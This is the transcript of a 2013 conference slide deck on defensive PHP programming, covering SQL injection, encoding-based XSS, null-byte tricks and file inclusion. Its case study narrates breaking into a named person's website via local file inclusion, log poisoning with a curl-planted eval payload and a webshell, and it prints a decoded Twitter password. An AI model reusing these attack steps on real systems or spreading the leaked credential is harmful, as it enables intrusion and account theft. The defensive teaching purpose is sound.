Upgrade to Pro — share decks privately, control downloads, hide ads and more …

PHP is evil and wants to eat your babies

PHP is evil and wants to eat your babies

The slides from my PHP UK conference talk.

Richard Johnson

February 22, 2013
Tweet

More Decks by Richard Johnson

Other Decks in Programming

Transcript

  1. PHP is evil and wants to eat your babies Being

    defensive when programming in PHP Richard Johnson @rjohnsondev
  2. Welcome! • About Me: ◦ Not a security expert ▪

    Studied "Multimedia" FFS; Sound Eng. Major ◦ Been coding in PHP for about 12 years (give or take) ◦ Been hacked.... a lot. • Main goal of today's talk: ◦ Scare the hell out of you. ◦ Why? 'Cause being scared = being defensive
  3. What we are going to talk about today... • Things

    to avoid with PHP • String Escaping! (dull, but important) • then... More Strings! • Cool code Injections! • Some infrastructure stuff • Case study!
  4. But first... Why is PHP Evil? • Encouraged developers to

    remain ignorant of important issues (encodings, string escaping, etc...); • Traditionally has made terrible design decisions (auto register variables); • Has a lot of quirks, gotchas, inconsistencies and unknowns...
  5. .... for example • function isAdmin($uid) { // assumption is

    made here that uid is a int $sql = “select * from users where role = ‘admin’ and uid = “.$uid; ... } • function isAdmin($uid) { // ensure $uid is an int $uid = (int)$uid; $sql = “select * from users where role = ‘admin’ and uid = “.$uid; ... } • So, what is $uid if we pass in... (cue live coding)
  6. Some things to avoid... • Notices (well, coding without them)

    • "@" ◦ https://github. com/EllisLab/CodeIgniter/blob/develop/system/database/drivers/mysql i/mysqli_driver.php#L96 • Extract • $$ • Backtick, system & eval • Type juggling (using == instead of ===) • Being Lazy!
  7. \"String Escaping\" • SQL inject what now? • A bit

    of history: ◦ 1995 -> PHP was invented! Yay! ◦ 1995 -> Java was invented! Yay! ▪ 1996 Java invented JDO, with a little feature called "Prepared Statements" ▪ PHP catches up with PDO in the core... in 2005 ▪ Was still 8 bloody years ago!!! • Why do people still not use it? ◦ This might have something to do with it... ▪ http://lmgtfy.com/?q=PHP+MySQL+insert+tutorial
  8. But! This worked! (until 5.4) • Why? Magic Quotes GPC!!

    ◦ Magically added quotes to every input (Get, Post and Cookies) ◦ All good, apart from inserting data read from files or out of the DB; We can do that too!!!!!! :D :D with: magic_quotes_runtime! • Defaults: magic_quotes_runtime -> off; magic_quotes_gpc -> on! • So, knowing this, is there a SQL injection attack in this code? function findUser($username) { mysql_query(“SELECT * FROM users WHERE name LIKE ‘%”.$username.”%’”); } • Also, what about shit like the EOF char (0x1A)?
  9. Correct way to escape • Firstly, rid yourself of magic

    quotes: if (get_magic_quotes_gpc()) { die(“A quick and bloody death”); } • Escape everything at the very last moment; ◦ If you need to use strip_anything / anything_unencode -> you're doing it wrong!! ◦ Escape correctly for your chosen output: HTML, CSV, URL, etc.
  10. Input Cleaning • https://github. com/EllisLab/CodeIgniter/blob/develop/system/core/Sec urity.php#L271 • Useless!! • People

    confuse it with escaping! • Are you really outputting user's input as HTML? • .... but still use it.
  11. Random cool IE hack... • Take the following code: <?php

    echo $_GET[“pageTitle”] ?> … • Correctly escaped: <?php echo htmlspecialchars($_GET[“pageTitle”]) ?> • Enter.... IE UTF-7 auto-detection (now disabled) • +ADw-SCRIPT+AD4-alert(/XSS/)+ADw-/SCRIPT+AD4- becomes: <SCRIPT>alert(/XSS/)</SCRIPT> • Lesson: pay attention to your encodings!! ▪ mysqli_real_escape_string needs mysqli_set_charset ▪ htmlspecialchars takes an encoding parameter!
  12. More Strings!!!! • PHP is basically a bunch of C

    functions held together with chewing gum • What a C string looks like: • PHP String: H E L L O W O R L D \0 A S T R I N G \0 W I T H N U L L \0 C functions only see this
  13. How this can be exploited? // Case insensitive string replace:

    echo preg_replace( "/".$_GET["replace"]."/i", $_GET["with"], $_GET["in"] ) • preg_replace can accept an eval modifier: /e ◦ Could pass something like: ?replace=test/e ◦ Would result in "/test/e/i" <- invalid pattern! • Add on a null terminator and we're laughing! ◦ Pass in ?replace=test/e%00 ◦ $_GET["replace"] is now "/test/e\0/i" ◦ preg_replace sees: "/test/e"
  14. Affected Functions? • Basically all of them. PHP is evil.

    • Most commonly used and completely flawed pattern: ◦ include($_GET["module"].".php"); ▪ That .php does _not_ make it safe! ◦ Instead do something like this: switch ($_GET["module"]) { case "moduleA": include "moduleA.php"; break; ... }
  15. Securing around PHP • Layer your defenses!!! • Most attackers

    are after easy targets, small improvements go far! • PHP has a _lot_ of configuration options: ◦ http://www.php.net/manual/en/ini.list.php ◦ please, please, please set open_basedir ◦ disable_functions is great, only: ▪ can't disable eval or backticks!!! (wtf?) • Cue: Safemode rant... • Apache worker considerations ◦ Has pool of worker processes <- can run out of RAM ◦ Connections queued after these are used; ◦ Once queue is full -> death.
  16. Step 1 - Target & Discovery • Goal: get his

    twitter password! ◦ Website interacts with twitter, it's got to be there somewhere. • Examine software versions: ◦ No info in http headers ◦ Wordpress version in meta tag ▪ Some XSS, but no code injection • Google search! ◦ http://lmgtfy.com/?q=site%3Astephenfry.com+filetype%3Aphp ◦ Uncovered a bunch of these types of URLs: ▪ stephenfry.com/section.php?section=clubfry&subsection=twitter ▪ Using include($_GET["subsection"].".php"); ??
  17. Step 2: Exploit! • stephenfry.com/section.php?section=clubfry& subsection=/../../../../../../.. /../../../../../../../../../etc/passwd%00 • If allow_url_include

    was enabled, would have been game over; it's not... ◦ So must get code onto server! (Local File Injection) • Attempted to read in CGI vars from /proc/self/environ (no dice) • But! Apache error log was accessible through /proc/self/fd/2 (FYI: this seems to be accessible by default on Red Hat / Centos) • Use CURL to issue request with PHP code (sans host to get into error log) ◦ curl "http://www.stephenfry.com/" -H "Host:" --referer "<?php eval(\$_GET [cmd]); ?>" • Use this to bootstrap any other command: ◦ http://www.stephenfry.com/section.php?section=clubfry& subsection=/../../../../../../../../../../proc/self/fd/2%00&cmd=phpinfo
  18. Step 3: Find the password! • Find a writable directory

    ◦ Image thumbnail cache folder • Upload a webshell (c99madshell) • Browse and read source code! ◦ Walking through execution path, found this in lib/sf_constants.php <?php ... // Twitter define('SF_TWITTER_USER','stephenfry'); define('SF_TWITTER_PASSWORD','dzQxbGE4eW9uMzd3bzQ='); ... ?> • This Base64 decoded: w41la8yon37wo4
  19. Some easy ways this could have been avoided • Don't

    have a file inclusion vulnerability! • Inclusion of the log file: ◦ Preserve log file permissions! ◦ Open Base Dir!! ◦ Safemode! Different owners! ◦ SE Linux! Unable to run log files as PHP • Writable directories: ◦ Precache? ◦ Cache in DB? • Eval: ◦ Safemode (why did they get rid of this again?) • Probably others...
  20. Wrapping up... • Always think defensively; ◦ How could this

    be exploited? ◦ Don't be lazy! • Defer escaping, make it obvious • Be mindful of PHP's workings • Always remember: PHP is silently plotting your demise.